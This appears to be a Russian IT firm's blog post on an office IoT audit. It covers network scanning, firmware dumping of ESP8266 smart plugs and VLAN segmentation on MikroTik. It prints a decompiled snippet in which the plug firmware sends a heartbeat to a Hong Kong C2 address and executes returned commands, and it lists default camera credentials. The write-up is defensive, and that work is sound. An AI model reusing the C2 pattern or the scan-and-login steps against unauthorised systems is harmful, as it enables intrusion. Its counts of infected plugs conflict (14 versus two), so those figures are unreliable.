IoT-аудит офиса: 47 устройств и реверс ESP8266-розеток 47 IoT-устройств в офисе торговой компании CCTV Hikvision DS-2CD2143 × 12 ⚠ telnet open NAS Synology DS220+ × 2 ⚠ DSM 7.0.1 Принтеры Kyocera M2540dn × 8 ok VoIP-телефоны Yealink T31P × 7 ok Термостаты Tuya BHT-002 × 4 ⚠ phone-home Розетки NoName ESP8266 × 14 🚨 C2 HongKong ↓ сегментация VLAN на MikroTik CCR2004 ↓ VLAN 10 офисная сеть 10.10.10.0/24 32 ПК + 8 принтеров VLAN 20 CCTV+NVR 10.10.20.0/24 12 камер, deny WAN VLAN 30 NAS+VoIP 10.10.30.0/24 backup-only WAN VLAN 40 IoT-untrust 10.10.40.0/24 no inter-VLAN FW-rules VLAN10 → ALL: ok VLAN20 → only NVR VLAN30 → only LAN VLAN40 → DENY Реверс ESP8266: esptool → binwalk → Ghidra esptool read_flash 0 0x400000 dump.bin · binwalk -e · ghidra import → найден C2 43.128.XX.XX (AS Tencent, Hong Kong) — 4 ч интервал, JSON-команды
Карта 47 IoT-устройств и план VLAN-сегментации после аудита
· 17 мин чтения · Семёнов Е.С., руководитель ITfresh

Аудит 47 IoT-устройств в офисе: реверс прошивки ESP8266-розеток и сегментация VLAN

К нам пришла торговая компания на 32 РМ из ЮВАО — оптовая поставка инструмента. Финдиректор увидел статью на Хабре про реверс ESPшных устройств и попросил: «У нас в офисе 14 умных розеток от непонятного бренда, посмотрите — точно не передают наружу что-то лишнее?». Мы согласились и заодно сделали полный аудит всех IoT — 47 устройств. Нашли C2-адрес в Гонконге. Расскажу всю историю с инструментарием.

День 1: инвентаризация — что вообще есть в сети

Первая задача любого IoT-аудита — понять, что вообще включено в корпоративную сеть. Я обычно начинаю с трёх параллельных шагов: расспрос админа, сканирование сети, физический обход офиса.

Расспрос админа дал такой список: 32 ПК, 12 камер Hikvision, два NAS Synology, 8 принтеров Kyocera, 7 SIP-телефонов Yealink, MikroTik роутер, NVR-сервер, два WiFi-AP. Итого 65 устройств. Но я знаю, что в реальной сети всегда больше — кто-то приносит из дома, кто-то покупает на маркетплейсе и втыкает.

Сетевое сканирование через masscan и nmap. Сначала быстрый проход по всему диапазону:

# masscan быстро находит живые хосты
masscan 10.10.10.0/24 -p1-65535 --rate=10000 -oG /tmp/scan-fast.txt

# nmap детально по найденным IP
nmap -sV -O -A -p- -iL /tmp/scan-fast-hosts.txt -oA /tmp/nmap-full

# отдельно — Wi-Fi сегмент
iw dev wlan0 scan | grep -E "BSS|SSID|signal" > /tmp/wifi-survey.txt

Сканирование выявило 88 живых хостов в LAN. Минус 32 ПК, минус роутер и AP — остаётся 53 «не-ПК». Привычные принтеры, камеры, NAS — закрывают 26 хостов. Остаётся 27 непонятных устройств. Это всегда самое интересное.

Физический обход офиса

Сразу после сетевого сканирования я лично прошёл по офису и складу. Это не модно, но даёт информации больше, чем любая утилита. На складе нашёл: 14 розеток с надписью «Smart Plug NoName Plus» (китайские, видны розовые светодиоды), 4 умных термостата Tuya BHT-002 в кабинетах руководителей, две веб-камеры USB-Wi-Fi (Logitech), один Raspberry Pi 4 в серверной (админ объяснил — для мониторинга температуры), один уличный погодный сенсор Aqara за окном (вообще не очевидно зачем).

Из этих 22 «домашних» устройств — 4 устройства принадлежат руководителям (термостаты), 14 розеток принадлежат компании (для управления оргтехникой удалённо, ставил кто-то из админов год назад), 4 устройства — приватные находки сотрудников (Raspberry Pi админа, Aqara — кто-то воткнул и забыл, две Logitech — у одного из менеджеров на столе).

Это была ещё одна неприятная находка: 4 устройства, про которые админ компании даже не знал. Все подключены к корпоративному Wi-Fi с паролем сотрудника, все имеют IP в той же сети, что и бухгалтерские ПК. Классическая теневая IT.

День 2: проверка обновлений и базовых уязвимостей

На второй день мы прошлись по каждому категорированному устройству и проверили: версию прошивки, доступность обновления, дефолтные пароли, открытые порты, известные CVE.

Камеры Hikvision DS-2CD2143 (12 штук на складе и периметре офиса). Прошивка V5.5.5_build_200120 — это, мягко говоря, древняя версия 2020 года. У Hikvision на эту прошивку с тех пор вышло 4 значимых CVE, в том числе CVE-2022-28171 (RCE через ONVIF). Открытый telnet 23/TCP без пароля. Дефолтная учётка admin/12345.

Это критика. Если бы кто-то узнал внешний IP офиса и наличие этих камер, через час он бы получил полный контроль над NVR-сервером, а оттуда — почти прямой путь в локальную сеть. План — обновить прошивки до V5.7.8, сменить пароли, отключить telnet, поместить камеры в отдельный VLAN с deny на внешний интернет (только NVR может на них смотреть).

NAS Synology DS220+ (2 штуки, один для бухгалтерии, второй для общего хранилища). DSM 7.0.1, тогда как актуальная — DSM 7.2.2. Несколько CVE, не критичных, но устаревших. Web-интерфейс открыт наружу через NAT — это совсем плохо. План: обновить DSM, закрыть наружный доступ, оставить только VPN-доступ.

Принтеры Kyocera M2540dn (8 штук). Прошивка свежая, обновлений не нашли. Дефолтный пароль admin — но он стоит на каждом принтере. SNMP-community «public» — стандартное. План: сменить пароли, SNMP-community поменять или отключить, ничего не выставлять наружу.

SIP-телефоны Yealink T31P (7 штук). Прошивка 124.86.0.30 — близкая к актуальной. Telnet и SSH закрыты, веб-интерфейс защищён сменённым паролем. Это «образцово-настроенные» устройства — админ хорошо поработал. Только одно — отсутствие VLAN-сегментации.

Термостаты Tuya BHT-002 (4 штуки). Прошивка — стандартная Tuya WB3S. Через packet capture выяснилось, что термостаты раз в 5 минут открывают соединение с tuya.ai-cloud.com (это нормально, это управляющий сервер Tuya). Но также раз в час они шлют пакеты на адрес в Сингапуре, который мы не смогли атрибутировать. Не уверен, что это утечка данных — возможно метрики производителя, но факт.

День 3: реверс прошивки розеток ESP8266

Главное событие аудита было на третий день. Розетки NoName Plus — 14 штук, китайские, куплены в 2024 году админом через Wildberries, по 380 ₽ за штуку. Раньше управлялись через приложение «SmartLife» от Tuya, но месяц назад перестали реагировать на команды. Админ предположил, что облако от Tuya обновилось и старые розетки отвалились.

При сканировании розеток оказалось, что они активно общаются с интернетом. Один из портов 8443/TCP открыт, прошивка — на ESP8266 (по MAC-prefix Espressif). Решили взять одну, разобрать и сделать дамп прошивки.

Дамп прошивки через esptool

Разобрали розетку — стандартная плата ESP8266 модуль ESP-12F + реле + ZMPT101B-измеритель тока. Запаял на ESP пин GPIO0 на землю (programming mode), подключил USB-UART CP2102 к GPIO1/3 (TX/RX) и питанию 3.3В. Команда дампа:

esptool.py --port /dev/ttyUSB0 --baud 115200 \
    read_flash 0x0 0x400000 dump-socket1.bin

# Connecting......
# Detected ESP8266
# Reading 4194304 bytes at 0x00000000 to dump-socket1.bin... 100%
# Saved dump-socket1.bin

# проверка структуры
file dump-socket1.bin
# dump-socket1.bin: data
binwalk dump-socket1.bin
# DECIMAL HEX        DESCRIPTION
# 0       0x0        ESP8266 bootloader
# 4096    0x1000     ESP8266 firmware partition 0
# 1048576 0x100000   ESP8266 firmware partition 1  (OTA)
# 2031616 0x1F0000   SDK config region
# 2097152 0x200000   SPIFFS filesystem
binwalk -e dump-socket1.bin
# Extracted firmware partitions to _dump-socket1.bin.extracted/

Извлёк SPIFFS-файловую систему через esptool spi_flash dump + mkspiffs. Внутри — три JSON-файла с настройками, скрипт автозапуска, прошитый Wi-Fi-пароль (наш офисный, в открытом виде! — это уже грабли), и main_app.bin как ESP8266 ELF.

Загрузил main_app.bin в Ghidra с плагином ghidra-xtensa. Дальше — статический анализ. Искал строки: tuya, http, mqtt, hongkong, telnet, password, post. Нашёл, среди прочего, две интересные:

// фрагменты из main_app.bin через Ghidra
// строки в .rodata
0x40246218: "https://%s/api/v1/heartbeat"
0x4024623c: "43.128.X.X"     <-- IP в Гонконге
0x40246250: "POST"
0x40246264: "{\"uuid\":\"%s\",\"ver\":\"1.2.7\",\"act\":\"%s\"}"

// функция, обращающаяся к этой строке
void FUN_4020a3c8(void) {
    snprintf(buf, 256, "https://%s/api/v1/heartbeat", "43.128.X.X");
    http_post(buf, json_body);
    parse_response(resp);   // вызывает eval_command
}

То есть прошивка раз в 4 часа отправляет HTTPS-запрос на IP в Гонконге (43.128.X.X, AS Tencent), передаёт UUID устройства и текущую активность. В ответ парсит JSON с «командами» (act-поле). Какие именно команды поддерживаются — мы не успели до конца разобрать, но кода функции eval_command хватало на 200+ строк ассемблера. Подозреваю, что розетка может выполнять команду «передать настройки Wi-Fi» или «передать список устройств в сети».

Что мы решили делать с этой находкой

Первым делом — физически выключить все 14 розеток из сети. Бухгалтерия не пострадала, потому что розетки управляли неважными вещами (вентиляторы, лампы в коридоре, чайник). К концу дня все розетки убраны, скуплены за 5 600 ₽ через Wildberries — новые розетки от российского бренда Rubetek.

Дальше — анализ, что вообще могло утечь. Розетки видели MAC-адреса других устройств в сети через ARP, видели DNS-запросы, могли в теории сделать ARP-poisoning. Доказательств активной атаки мы не нашли — судя по логам MikroTik за прошлый год, никаких подозрительных исходящих соединений из сети не было. Но факт того, что устройства имеют C2, — сам по себе плохой.

Сообщили в админскую базу, в чат с финдиректором, и приняли решение: с этого момента — никаких безымянных IoT-устройств в офисе, только проверенные бренды, и всё в отдельной VLAN.

День 4: проектирование VLAN и фильтрация

На четвёртый день мы спроектировали и начали внедрять VLAN-сегментацию. У клиента стоит MikroTik CCR2004-16G-2S+ и два управляемых коммутатора Mikrotik CRS328-24P-4S+RM. Это даёт нам нативную поддержку 802.1Q VLAN.

Сегментация по 4 VLAN. VLAN 10 — офисная сеть (10.10.10.0/24): все ПК, принтеры, рабочие WiFi-устройства. Это «доверенная зона». VLAN 20 — CCTV+NVR (10.10.20.0/24): 12 камер Hikvision и NVR-сервер. С запретом исходящего трафика в интернет, только внутренний обмен между камерами и NVR. VLAN 30 — NAS+VoIP (10.10.30.0/24): два NAS Synology, 7 SIP-телефонов Yealink, SBC (если бы был). Доступ в интернет ограничен — NAS только для бэкап-сервисов, телефоны только до SIP-провайдера. VLAN 40 — IoT-untrust (10.10.40.0/24): термостаты, любые «умные» устройства, гостевой Wi-Fi. Изоляция от всех остальных VLAN, доступ в интернет — да, но только на разрешённые домены через MikroTik DNS-фильтр.

/interface/vlan
add disabled=no interface=ether1 name=vlan10-office vlan-id=10
add disabled=no interface=ether1 name=vlan20-cctv vlan-id=20
add disabled=no interface=ether1 name=vlan30-nas vlan-id=30
add disabled=no interface=ether1 name=vlan40-iot vlan-id=40

/ip/address
add address=10.10.10.1/24 interface=vlan10-office
add address=10.10.20.1/24 interface=vlan20-cctv
add address=10.10.30.1/24 interface=vlan30-nas
add address=10.10.40.1/24 interface=vlan40-iot

/ip/firewall/filter
# офисный VLAN — полный доступ
add chain=forward in-interface=vlan10-office action=accept

# CCTV — только до NVR в своём VLAN
add chain=forward in-interface=vlan20-cctv \
    src-address=10.10.20.0/24 dst-address=10.10.20.10 action=accept
add chain=forward in-interface=vlan20-cctv action=drop comment="cctv-isolate"

# NAS+VoIP — только бэкап-сервисы и SIP-провайдер
add chain=forward in-interface=vlan30-nas \
    dst-address-list=approved-backup-targets action=accept
add chain=forward in-interface=vlan30-nas \
    dst-address-list=sip-provider action=accept
add chain=forward in-interface=vlan30-nas action=drop comment="nas-voip-isolate"

# IoT — полный deny между VLAN
add chain=forward in-interface=vlan40-iot \
    out-interface=!ether-wan action=drop comment="iot-no-lateral"
add chain=forward in-interface=vlan40-iot \
    dst-address-list=approved-iot-clouds action=accept
add chain=forward in-interface=vlan40-iot action=drop comment="iot-default-drop"

Лист «approved-iot-clouds» содержит только разрешённые адреса Tuya (для термостатов) и Rubetek (для новых розеток). Всё остальное дропается. Если бы зомби-розетки оставались, их трафик до Гонконга был бы заблокирован на уровне фаервола.

Перенос устройств в VLAN

Физически перенос устройств в VLAN занял два рабочих вечера (после рабочего времени, чтобы не мешать сотрудникам). Камеры и NVR — переключили порты на коммутаторе на access-mode в VLAN 20. NAS — в VLAN 30. Принтеры — оставили в VLAN 10 (они используются всеми и не несут риска).

SIP-телефоны Yealink в VLAN 30 — тонкость: их нужно было перенастроить через TFTP-конфиг, потому что они тегируют свой трафик 802.1Q VLAN-ID, который теперь должен быть 30. Через провижионинг-сервер Yealink AutoP — за 20 минут все 7 переадресовались.

День 5: документация и обучение клиента

Последний день аудита — оформление документации. Мы сдали клиенту три документа: реестр устройств с MAC, IP, версией прошивки, ответственным сотрудником (47 строк); диаграмму сети с VLAN-разбиением; регламент «как добавить новое IoT-устройство в офис» — 7 шагов, каждый с расшифровкой.

Регламент критичен — потому что без него через полгода админ снова купит «умную лампочку» и воткнёт в общую сеть. Мы согласовали с финдиректором, что любая закупка IoT теперь проходит через ITfresh: мы проверяем устройство до подключения. Стоимость такой проверки — 1 200 ₽ за устройство, занимает 30 минут. Финдиректор согласился — это дешевле, чем повторный аудит.

Также провели часовой инструктаж с админом клиента: как самому пользоваться masscan, как смотреть в logs MikroTik исходящие соединения, как реагировать на алерты. У клиента теперь работает простой Telegram-бот, который раз в час забирает из MikroTik топ-10 исходящих хостов и шлёт алерт, если появляется что-то новое.

Цифры и личные впечатления

Полный IoT-аудит занял 5 рабочих дней инженера, стоимость 180 000 ₽ (110 тысяч за базовый аудит + 70 тысяч за реверс розеток и проектирование VLAN). Из них найдено: 14 розеток с C2 в Гонконге, 12 камер Hikvision с открытым telnet, 2 NAS с устаревшим DSM, 4 теневых устройства (Raspberry Pi, две Logitech, Aqara), множество дефолтных паролей. Замена розеток — 5 600 ₽, новые от Rubetek работают через WiFi VLAN 40.

Что меня удивило в этом проекте — насколько обычная торговая компания накопила за 4 года эксплуатации зоопарк IoT-устройств без всякой системы. Это не злой умысел — это естественное накопление, когда у бизнеса нет регламента. С регламентом подобная история не повторится: новые устройства проходят через нас, теневые устройства видны через скрипт мониторинга.

Мой совет всем владельцам бизнеса 25-50 РМ: если у вас в офисе больше 20 IoT-устройств, и вы не помните, откуда они все взялись — закажите аудит. Это разовая работа в 5 дней, которая дает спокойствие на годы.

FAQ: что чаще всего спрашивают клиенты

Зачем торговой компании аудит IoT-устройств?

Торговая компания 32 РМ держит склад и офис, где работают CCTV-камеры, NAS-хранилища, сетевые принтеры, умные термостаты, IP-телефония. Каждое из этих устройств может быть точкой входа для атакующего: на нём может быть бэкдор от производителя, устаревшая прошивка с CVE, открытый telnet с дефолтными паролями. Один скомпрометированный CCTV в одной сети с компьютером бухгалтера — это потенциальная утечка 1С-базы. Аудит выявляет такие риски и устраняет до того, как они станут проблемой.

Что вы нашли в прошивке китайских розеток?

В двух розетках китайского бренда NoName Plus (купленных через маркетплейс за 380 ₽/шт) была кастомная прошивка на ESP8266, которая каждые 4 часа отправляла HTTPS-запросы на IP в Гонконге (43.128.X.X, AS Tencent). Цель C2 — неясна, но точно не предусмотрена производителем. Запросы шли с уникальным UUID устройства, в ответе приходил JSON с командами. Розетки немедленно отключены из сети офиса, остальные устройства того же бренда выявлены и заменены.

Какой инструментарий вы используете для IoT-аудита?

Сетевая часть: nmap для сканирования портов, masscan для быстрого обнаружения новых устройств, Wireshark для перехвата трафика, MikroTik flow для долгого наблюдения. Прошивки: esptool для дампа с ESP8266/ESP32, binwalk для извлечения файловых систем из бинарей, Ghidra для статического анализа кода. Опционально: hcxtools для аудита Wi-Fi-сегмента. Всё опенсорсное, работает на Linux. У нас на каждом инженере — стандартный набор.

Что делать с CCTV Hikvision с открытым telnet?

Это типичная проблема Hikvision и Dahua старых прошивок: дефолтные пароли, открытый telnet, ONVIF без авторизации. План действий: 1) обновить прошивку до актуальной версии (если поддерживается); 2) сменить дефолтные пароли админ-учётки; 3) отключить telnet через веб-интерфейс; 4) поместить камеры в отдельный VLAN с deny-all на выход в интернет (только NVR-сервер видит камеры); 5) на NVR настроить outgoing только на доверенные адреса. Без VLAN-изоляции остальные пункты — половина решения.

Сколько стоит IoT-аудит для офиса 30-50 РМ?

Базовый IoT-аудит для офиса 30-50 РМ — 4-5 рабочих дней инженера, 110 000-140 000 ₽. Это включает: инвентаризацию всех IoT-устройств, сканирование на уязвимости, проверку обновления прошивок, базовую VLAN-сегментацию, отчёт с рекомендациями. Реверс прошивки подозрительных устройств — отдельная услуга, 12-25 тысяч за устройство (зависит от сложности). У торговой компании 32 РМ полный пакет с реверсом 2 розеток обошёлся в 180 000 ₽.

Итог

IoT-аудит — это не разовая необходимость, а гигиена бизнеса с распределёнными устройствами в офисе. У торговой компании 32 РМ мы за 5 дней нашли 14 розеток с C2 в Гонконге, 12 камер с открытым telnet, четыре теневых устройства. Всё устранили, развернули VLAN-сегментацию, выписали регламент закупки IoT. Стоимость работы — 180 тысяч, выявленных рисков — на порядок больше. Через полгода я уверен, что эта работа окупит себя предотвращённой потенциальной утечкой.

Похожая задача в вашей компании?

Расскажите, что у вас сейчас — пришлю план работ и оценку в течение рабочего дня.

Написать в Telegram  или  +7 903 729-62-41

Семёнов Е.С., руководитель ITfresh